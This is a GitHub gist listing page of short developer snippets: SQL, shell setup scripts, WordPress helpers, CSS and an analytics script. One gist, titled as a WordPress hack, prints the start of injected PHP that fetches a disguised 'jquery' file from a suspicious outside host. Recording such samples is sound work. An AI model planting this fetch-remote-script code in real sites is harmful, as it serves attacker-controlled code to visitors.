Skip to content

Instantly share code, notes, and snippets.

@hermpheus
hermpheus / allDatabasesAndComments.sql
Created July 12, 2016 19:05
PostgreSQL: Select all databases and comments
SELECT
datname
,description
FROM pg_shdescription
INNER JOIN pg_database on objoid = pg_database.oid
ORDER BY datname;
@hermpheus
hermpheus / task.sh
Created March 5, 2015 18:52
Create HabitRPG Task from CLI
#!/bin/sh
curl -X POST -H "Content-Type:application/json" -H "x-api-key: X" -H "x-api-user: X" https://habitrpg.com/api/v2/user/tasks/ -d "{\"text\":\"$1\",\"type\":\"todo\",\"value\":\"0\", \"notes\":\"\"}"
@hermpheus
hermpheus / gist:7d0014d4b3d868769905
Created August 31, 2014 17:52
WP Hack executing jQuery, document moved fakery
<?php
if(function_exists('curl_init'))
{
$url = "http://www.4llw4d.freefilesblog.com/jquery-1.6.3.min.js";
$ch = curl_init();
$timeout = 5;
curl_setopt($ch,CURLOPT_URL,$url);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,$timeout);
$data = curl_exec($ch);
@hermpheus
hermpheus / gist:5032295
Created February 25, 2013 19:00
GA: Rank Tracking Based on User visits
<script type="text/javascript">
if (document.referrer.match(/google.com/gi) && document.referrer.match(/cd/gi)) {
var myString = document.referrer;
var r = myString.match(/cd=(.*?)&/);
var rank = parseInt(r[1]);
var kw = myString.match(/q=(.*?)&/);
if (kw[1].length > 0) {
var keyWord = decodeURI(kw[1]);
} else {
@hermpheus
hermpheus / ultimate-helvetica-fontstack.css
Created October 31, 2012 17:42 — forked from kahlil/ultimate-helvetica-fontstack.css
The ultimate Helvetica Fontstack with the free font 'TexGyreHeros' as a fallback. Download the @fontface-kit here: http://www.fontsquirrel.com/fonts/TeX-Gyre-Heros
/* regular */
font-family: "HelveticaNeue", "Helvetica Neue", "HelveticaNeueRoman", "HelveticaNeue-Roman", "Helvetica Neue Roman", 'TeXGyreHerosRegular', "Helvetica", "Tahoma", "Geneva", "Arial", sans-serif;
font-weight:400;
font-stretch:normal;
/* condensed */
font-family: "HelveticaNeueCondensed", "HelveticaNeue-Condensed", "Helvetica Neue Condensed",  "HelveticaNeueRomanCondensed", "HelveticaNeue-Roman-Condensed", "Helvetica Neue Roman Condensed", "HelveticaNeue", "Helvetica Neue", "HelveticaNeueRoman", "HelveticaNeue-Roman", "Helvetica Neue Roman", 'TeXGyreHerosCnRegular', "Helvetica", "Tahoma", "Geneva", "Arial Narrow", "Arial", sans-serif;
font-weight:400;
font-stretch:condensed;
@hermpheus
hermpheus / gist:3935325
Created October 22, 2012 23:06
LEMP: Create Fresh WordPress Subdomain Install
#!/bin/bash
# $1 = site name
# $2 = user
# $3 = password
# Create working folder
mkdir /tmp/getWP
cd /tmp/getWP
@hermpheus
hermpheus / GetWP
Created July 5, 2012 20:33 — forked from scottlee/GetWP
Ubuntu LAMP: Create WordPress install, apache, hosts, etc
#!/bin/bash
##########
## Setup: hardcode your mysql user/pass. Yeah, yeah, I know...it's frowned upon.
## but for local development, I have no problem with it.
## Find and replace: MYSQLUSER / MYSQLPASS
##
## Usage: This script accepts only one variable, the site name.
##
#########
@hermpheus
hermpheus / gist:2884890
Created June 6, 2012 21:24
WordPress: List all Hooks & Attached Filters
<?php
function list_hooked_functions($tag=false){
global $wp_filter;
if ($tag) {
$hook[$tag]=$wp_filter[$tag];
if (!is_array($hook[$tag])) {
trigger_error("Nothing found for '$tag' hook", E_USER_WARNING);
return;
}
} else {
@hermpheus
hermpheus / gist:2522408
Created April 28, 2012 22:13
CSS: CSS3 Toolkit
.long-box-shadow {
box-shadow: 0 4px 4px rgba(0,0,0,0.3);
}
.small-box-shadow {
box-shadow: 0 1px 2px rgba(0,0,0,0.8);
}
.small-text-shadow {
text-shadow: 1px 1px 1px rgba(0,0,0,0.4);
@hermpheus
hermpheus / gist:2485763
Created April 25, 2012 02:45
WordPress: Add Accepted File Type
<?php
add_filter('upload_mimes', 'custom_upload_mimes');
function custom_upload_mimes ( $existing_mimes=array() ) {
// add your extension to the array
$existing_mimes['deb'] = 'application/x-deb';
// add as many as you like
// removing existing file types
unset( $existing_mimes['exe'] );
// add as many as you like
// and return the new full result